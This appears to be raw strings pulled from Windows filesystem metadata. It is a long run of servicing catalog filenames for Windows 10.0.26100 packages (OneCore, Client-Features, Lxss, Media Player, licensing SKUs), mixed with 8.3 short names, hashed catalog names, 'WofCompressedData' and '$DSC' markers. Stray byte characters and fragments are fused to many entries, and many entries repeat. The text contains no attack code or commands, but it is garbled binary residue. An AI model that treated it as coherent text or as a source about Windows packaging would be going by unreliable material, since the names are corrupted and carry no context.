aMicrosoft-OneCore-CoreSystem-Core-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Microsoft-OneCore-CoreSystem-Core-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat ZMicrosoft-OneCore-CoreSystem-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat ZMicrosoft-OneCore-CoreSystem-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat UMicrosoft-OneCore-CoreSystem-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat dMicrosoft-OneCore-CoreSystem-Core-WOW64-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat bMicrosoft-OneCore-CoreSystem-Core-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat bMicrosoft-OneCore-CoreSystem-Core-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat tnaa ]Microsoft-Windows-CoreSystem-MSXML6-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat47 eMicrosoft-Windows-CoreSystem-RemoteFS-Client-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat eMicrosoft-Windows-CoreSystem-RemoteFS-Client-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat `Microsoft-Windows-CoreSystem-RemoteFS-Client-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat `Microsoft-Windows-CoreSystem-RemoteFS-Client-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat hMicrosoft-Windows-CoreSystem-RemoteFS-Client-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat cMicrosoft-Windows-CoreSystem-RemoteFS-Client-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat fMicrosoft-Windows-CoreSystem-RemoteFS-Client-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat ^Microsoft-Windows-CoreSystem-RemoteFS-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat ^Microsoft-Windows-CoreSystem-RemoteFS-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat YMicrosoft-Windows-CoreSystem-RemoteFS-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat YMicrosoft-Windows-CoreSystem-RemoteFS-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat bMicrosoft-Windows-CoreSystem-RemoteFS-Server-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat ZMicrosoft-Windows-ErrorReportingFaults-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat0 eMicrosoft-Windows-Ethernet-Client-Intel-E2f68-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat24 hMicrosoft-Windows-Ethernet-Client-Vmware-Vmxnet3-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat SMicrosoft-Windows-FlipGridPWA-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat ]Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat \Microsoft-Windows-Foundation-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat UMicrosoft-Windows-Foundation-Win0-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat [Microsoft-Windows-Foundation-Win0-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat [Microsoft-Windows-Foundation-Win1-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.catf dMicrosoft-Windows-GroupPolicy-ClientExtensions-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.catcat VMicrosoft-Windows-InternetExplorer-Package-ua~31bf3856ad364e35~amd64~~10.0.26100.1.cat1 [Microsoft-Windows-Kernel-Package-AcpiEx-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.catd sMicrosoft-Windows-Kernel-Package-BootEnvironment-OS-Loader-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3323.cat ]Microsoft-Windows-Kernel-Package-CNG-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3624.cat-U d3eo WMicrosoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat XMicrosoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.1591.cat476 XMicrosoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat476 ^Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cata `Microsoft-Windows-Client-Features-Package011120~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat `Microsoft-Windows-Client-Features-Package011121~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat ^Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat XMicrosoft-Windows-Client-Features-Package011~31bf3856ad364e35~amd64~~10.0.26100.1591.cat XMicrosoft-Windows-Client-Features-Package011~31bf3856ad364e35~amd64~~10.0.26100.7705.cat XMicrosoft-Windows-Client-Features-Package012~31bf3856ad364e35~amd64~~10.0.26100.1591.cat XMicrosoft-Windows-Client-Features-Package012~31bf3856ad364e35~amd64~~10.0.26100.7824.cat XMicrosoft-Windows-Client-Features-Package013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat XMicrosoft-Windows-Client-Features-Package013~31bf3856ad364e35~amd64~~10.0.26100.7824.cat bMicrosoft-Windows-Licenses-IoTEnterpriseK-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat ]Microsoft-Windows-Licenses-IoTEnterpriseK-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.catca ]Microsoft-Windows-Licenses-IoTEnterpriseK-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.catca `Microsoft-Windows-Licenses-Professional-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat `Microsoft-Windows-Licenses-Professional-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat [Microsoft-Windows-Licenses-Professional-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat [Microsoft-Windows-Licenses-Professional-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat SMicrosoft-Windows-Lxss-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Microsoft-Windows-Lxss-Optional-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat ZMicrosoft-Windows-Lxss-Optional-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat7 ZMicrosoft-Windows-Lxss-Optional-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat6 ]Microsoft-Windows-Lxss-Optional-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat MMicrosoft-Windows-Lxss-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1.caten cMicrosoft-Windows-Management-SecureAssessment-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat dMicrosoft-Windows-MCUpdate-UpdateDLLs-IntelAMD-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat c~Pn aMicrosoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat.c aMicrosoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7705.cat.c eMicrosoft-Windows-Client-Desktop-Required-Package00112030~31bf3856ad364e35~amd64~~10.0.26100.7705.catca hMicrosoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat cMicrosoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat fMicrosoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat aMicrosoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.catat aMicrosoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.catat aMicrosoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.catat dMicrosoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat dMicrosoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat _Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat _Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat _Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.7705.cat 3f6adtc [Microsoft-Windows-OfflineFiles-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat YMicrosoft-Windows-OfflineFiles-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat YMicrosoft-Windows-OfflineFiles-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat TMicrosoft-Windows-OfflineFiles-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.catcat RMicrosoft-Windows-OfflineFiles-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat1 RMicrosoft-Windows-OfflineFiles-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat1 WMicrosoft-Windows-OfflineFiles-UI-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat UMicrosoft-Windows-OfflineFiles-UI-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat1. UMicrosoft-Windows-OfflineFiles-UI-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat1. XMicrosoft-Windows-OfflineFiles-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.5074.cat0.c ]Microsoft-Windows-OneCore-ClassExtensions-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat0. hMicrosoft-Windows-OneCore-Containers-Client-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.catat hMicrosoft-Windows-OneCore-Containers-Client-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.catat cMicrosoft-Windows-OneCore-Containers-Client-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat jMicrosoft-Windows-OneCore-DeviceAssociationFramework-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat 71oo VMicrosoft-Windows-CEIPEnable-Adm-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat0" fMicrosoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cata _Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat\ fMicrosoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat eMicrosoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.1591.cat bMicrosoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat9 aMicrosoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat59 aMicrosoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat425 gMicrosoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat jMicrosoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat XMicrosoft-Windows-Client-EmbeddedExp-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat.ca XMicrosoft-Windows-Composition-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.catn-U mMicrosoft-Windows-CoreSystem-BootableSKU-Drivers-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat ZMicrosoft-Windows-CoreSystem-CredSSP-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat0A adWo aMicrosoft-Windows-Foundation-Win1-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat aMicrosoft-Windows-Foundation-Win1-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat \Microsoft-Windows-Foundation-Win1-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat \Microsoft-Windows-Foundation-Win1-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat ZMicrosoft-Windows-Foundation-Win1-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat ZMicrosoft-Windows-Foundation-Win1-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat UMicrosoft-Windows-Foundation-Win1-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat UMicrosoft-Windows-Foundation-Win1-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat dMicrosoft-Windows-Foundation-Win1-WOW64-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat bMicrosoft-Windows-Foundation-Win1-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat bMicrosoft-Windows-Foundation-Win1-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat `Microsoft-Windows-Foundation-Win1-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat `Microsoft-Windows-Foundation-Win1-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat [Microsoft-Windows-Foundation-Win1-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat ~do XMicrosoft-Windows-Client-EmbeddedExp-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat.ca `Microsoft-Windows-Client-EmbeddedExp-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat ^Microsoft-Windows-Client-EmbeddedExp-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat ^Microsoft-Windows-Client-EmbeddedExp-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat ^Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat ^Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat \Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat e8eaa RMicrosoft-Windows-Media-Player-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat2 ZMicrosoft-Windows-Media-Player-WOW64-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.1.cata XMicrosoft-Windows-Media-Player-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.1742.cat.ca XMicrosoft-Windows-Media-Player-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.7824.cat.ca ^Microsoft-Windows-Media-Streaming-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.catc \Microsoft-Windows-Media-Streaming-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat9.c \Microsoft-Windows-Media-Streaming-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat9.c WMicrosoft-Windows-Media-Streaming-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat UMicrosoft-Windows-Media-Streaming-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat UMicrosoft-Windows-Media-Streaming-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat dMicrosoft-Windows-Media-Streaming-WOW64-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat YMicrosoft-Windows-MediaPlayer-Opt-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat26 [Microsoft-Windows-MediaPlayer-Opt-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.1742.cat VMicrosoft-Windows-MediaPlayer-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat0 aMicrosoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat ^Microsoft-Windows-msmq-adintegration-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat ZMicrosoft-Windows-msmq-dcomproxy-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat XMicrosoft-Windows-msmq-mmc-Opt-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.catt YMicrosoft-Windows-msmq-powershell-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat \Microsoft-Windows-msmq-runtime-Opt-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat 3-c6p SMicrosoft-Windows-RecoveryDrive-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat ]Microsoft-Windows-RegulatedPackages-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.catat ^Microsoft-Windows-Runtime-Metadata-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat9 nMicrosoft-Windows-SearchEngine-Client-Package-onecoreuap-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat QMicrosoft-Windows-SecConfig-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat uMicrosoft-Windows-Security-SPP-Component-SKU-CloudEdition-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat kMicrosoft-Windows-Security-SPP-Component-SKU-Enterprise-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.catM uMicrosoft-Windows-Security-SPP-Component-SKU-Professional-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat26 Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalWorkstation-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat WMicrosoft-Windows-SensorDataService-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat] dMicrosoft-Windows-Shell32-OEMDefaultAssociations-Package~31bf3856ad364e35~amd64~~10.0.26100.1301.cat [Microsoft-Windows-SimpleTCP-FOD-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.7824.cat ed6- WMicrosoft-Onecore-SPP-VirtualDevice-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat VMicrosoft-OneCore-SystemCounters-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.catc YMicrosoft-OneCore-SystemCounters-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat QMicrosoft-OneCore-SystemCounters-Package~31bf3856ad364e35~amd64~~10.0.26100.1.catca TMicrosoft-OneCore-SystemCounters-Package~31bf3856ad364e35~amd64~~10.0.26100.4768.cat \Microsoft-OneCore-SystemCounters-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.catcat _Microsoft-OneCore-SystemCounters-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat WMicrosoft-OneCore-SystemCounters-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat WMicrosoft-Windows-Composition-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.catb XMicrosoft-Windows-Container-Policy-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat lMicrosoft-Windows-Container-Professional-Payload-Wrapper-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat mMicrosoft-Windows-CoreSystem-BootableSKU-Drivers-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat jMicrosoft-Windows-CoreSystem-BootableSKU-Winlogon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6725.cat ZMicrosoft-Windows-CoreSystem-CredSSP-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat0 3enW QMicrosoft-Windows-CEIPEnable-Adm-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat.2 ]Microsoft-Windows-Client-AssignedAccess-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat [Microsoft-Windows-Client-AssignedAccess-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat [Microsoft-Windows-Client-AssignedAccess-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat cMicrosoft-Windows-Client-AssignedAccess-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat ^Microsoft-Windows-Client-AssignedAccess-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat0 cMicrosoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat fMicrosoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat `Microsoft-Windows-NFS-Administration-D-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat `Microsoft-Windows-NFS-Administration-D-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat Microsoft-DesktopEditions-Layer-Data-VersionInfo-Dynamic-Ge-26143-Version-EKB-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat Microsoft-DesktopEditions-Layer-Data-VersionInfo-Dynamic-Ge-26143-Version-EKB-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat WofCompressedData $DSC GRunlevel-Win3-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.712.cat0 GRunlevel-Win3-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.712.cat $DSC \Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat \Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat aMicrosoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat aMicrosoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat lMicrosoft-OneCore-Containers-Client-Manager-Guest-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat lMicrosoft-OneCore-Containers-Client-Manager-Guest-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat lMicrosoft-Windows-CoreSystem-BootableSKU-DriverClasses-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat lMicrosoft-Windows-CoreSystem-BootableSKU-DriverClasses-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat nMicrosoft-Windows-Multimedia-RestrictedCodecs-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat nMicrosoft-Windows-Multimedia-RestrictedCodecs-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat $DSC dMicrosoft-Windows-Shell32-OEMDefaultAssociations-Package~31bf3856ad364e35~amd64~~10.0.26100.1301.cat dMicrosoft-Windows-Shell32-OEMDefaultAssociations-Package~31bf3856ad364e35~amd64~~10.0.26100.1301.cat TMicrosoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat TMicrosoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat $DSC dMultimedia-RestrictedCodecsExt-WCOSMinusHeadless-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat dMultimedia-RestrictedCodecsExt-WCOSMinusHeadless-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat ]Microsoft-Windows-Identity-Foundation-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat ]Microsoft-Windows-Identity-Foundation-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat XMicrosoft-Windows-Media-Player-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.7824.cat XMicrosoft-Windows-Media-Player-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.7824.cat ^Microsoft-Windows-Kernel-Package-Lxss-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.5074.cat ^Microsoft-Windows-Kernel-Package-Lxss-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.5074.cat gMicrosoft-Windows-Product-Data-Ge-26142-Version-EKB-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat0 gMicrosoft-Windows-Product-Data-Ge-26142-Version-EKB-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat ^Microsoft-OneCore-Graphics-Required-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat ^Microsoft-OneCore-Graphics-Required-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat ^Microsoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat ^Microsoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat $DSC VMicrosoft-Windows-TrustedExecution-Package~31bf3856ad364e35~amd64~~10.0.26100.7171.cat VMicrosoft-Windows-TrustedExecution-Package~31bf3856ad364e35~amd64~~10.0.26100.7171.cat ]Microsoft-Windows-UserSessionManagement-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat ]Microsoft-Windows-UserSessionManagement-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat fMultimedia-RestrictedCodecsCore-WCOSHeadless-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat fMultimedia-RestrictedCodecsCore-WCOSHeadless-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat YMicrosoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat YMicrosoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat WofCompressedData $DSC MMicrosoft-Windows-Lxss-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat MMicrosoft-Windows-Lxss-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat $DSC \HyperV-UX-PowerShell-Module-HyperV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat \HyperV-UX-PowerShell-Module-HyperV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat aMicrosoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat aMicrosoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat hMicrosoft-Windows-Kernel-Package-MinstoreEvents-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3912.cat hMicrosoft-Windows-Kernel-Package-MinstoreEvents-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3912.cat ^Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat ^Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat eMicrosoft-OneCore-Fonts-DesktopFonts-Supplement-Hant-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat eMicrosoft-OneCore-Fonts-DesktopFonts-Supplement-Hant-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat XMicrosoft-Windows-Client-Features-Package011~31bf3856ad364e35~amd64~~10.0.26100.7705.cat XMicrosoft-Windows-Client-Features-Package011~31bf3856ad364e35~amd64~~10.0.26100.7705.cat 4E011A~1.CAT 4e011ab473203073edba170abbb496bbd567b465c66ab37982cf6667564bb347.cat WofCompressedData $DSC JContainers-Server-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat COA57D~1.CAT Containers-Server-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat WofCompressedData 4E71CA~1.CAT 4e71caed9f1764a86b7d7f6b0e3d30d5e32c723ec30e5d45ab74b449529f146c.cat WofCompressedData $DSC EContainers-Server-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat Containers-Server-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat CODD1C~1.CAT WofCompressedData 51D1C9~1.CAT 51d1c9022dfce5354fc59aeb223de9aab232431b2666d437490afaf31ca178b5.cat WofCompressedData $DSC fMicrosoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat fMicrosoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat 51F27B~1.CAT 51f27b83d91953ea9ea51ff8c074fdf8b54de7b047314e074e718eeb782ec2f7.cat WofCompressedData $DSC $DSC eMicrosoft-Windows-Embedded-KeyboardFilter-Core-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat eMicrosoft-Windows-Embedded-KeyboardFilter-Core-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat 51F37E~1.CAT 51f37eb457d51653b907aa83e8cf93cfbdf4df8a99374023fbbd9e645899159c.cat $DSC ^HyperV-Networking-VirtualDevice-Emulated-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat ^HyperV-Networking-VirtualDevice-Emulated-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat 520999~1.CAT 52099978761026ffc9cf19601ea3878b21800a99f5619e8a35f2498760ac1d83.cat WofCompressedData $DSC fMicrosoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat fMicrosoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat 53B4BE~1.CAT 53b4be5fe24538af2552b8622572f08e5f96fd50c20a7fb2aba4e44ca70771dd.cat WofCompressedData $DSC bMicrosoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat 